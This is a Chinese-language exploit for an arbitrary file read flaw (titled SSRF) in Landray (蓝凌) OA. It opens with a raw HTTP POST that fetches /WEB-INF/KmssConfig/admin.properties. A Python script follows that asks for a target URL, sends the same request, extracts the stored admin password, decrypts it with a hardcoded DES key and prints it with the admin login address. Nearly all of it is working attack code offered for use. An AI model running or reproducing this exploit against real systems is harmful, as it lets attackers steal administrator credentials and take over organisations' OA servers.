蓝凌OA系统存在任意文件读取（SSRF)

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: xxx.xxx.xxx.xxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.56
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=611A290CFE623E17EF4BFB89BA413020
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

import requests
import sys
import re
from pyDes import des, ECB, PAD_PKCS5
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning  #消除警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  # 消除警告
url = input('输入url>>>:')
if url.startswith('http:') != 1 and url.startswith('https:') != 1:
    url = 'http://' + url
url =url
def lanling2(): 
    url1 =url
    url2 =url1+'/sys/ui/extend/varkind/custom.jsp'
    headers={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
    "Content-Type":"application/x-www-form-urlencoded"
            }
    data='var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}'
    try:
        r = requests.post(url=url2,headers=headers,data=data,verify=False,timeout=10)
        if r.status_code == 200 and 'password' in r.text:
            print(url+'存在蓝凌OA SSRF')
            print('登录地址：'+url+'/admin.do')
            data = r.text.strip()
            data =str(data)
            data1 = data.split()
            data2 = ''.join(data1)
            #print(data2)
            password = re.findall(r"password=(.*?)\\rkmss",data2,re.I | re.M)
            password1 = str(password)
            #print(password)
            KEY = 'kmssAdmi'
            try:
                secret_key = KEY
                iv = secret_key
                k = des(secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5)
                decrystr = k.decrypt(base64.b64decode(password1))
                #print(decrystr)
                decrystr2 = str(decrystr, 'utf-8').strip(':')
                print('++++++'+'后台密码为:' + decrystr2)
            except Exception as e:
                print('解密失败')
        else:
            print(url+'不存在蓝凌OA SSRF')
    except Exception as e:
        print(url+'异常退出')
lanling2()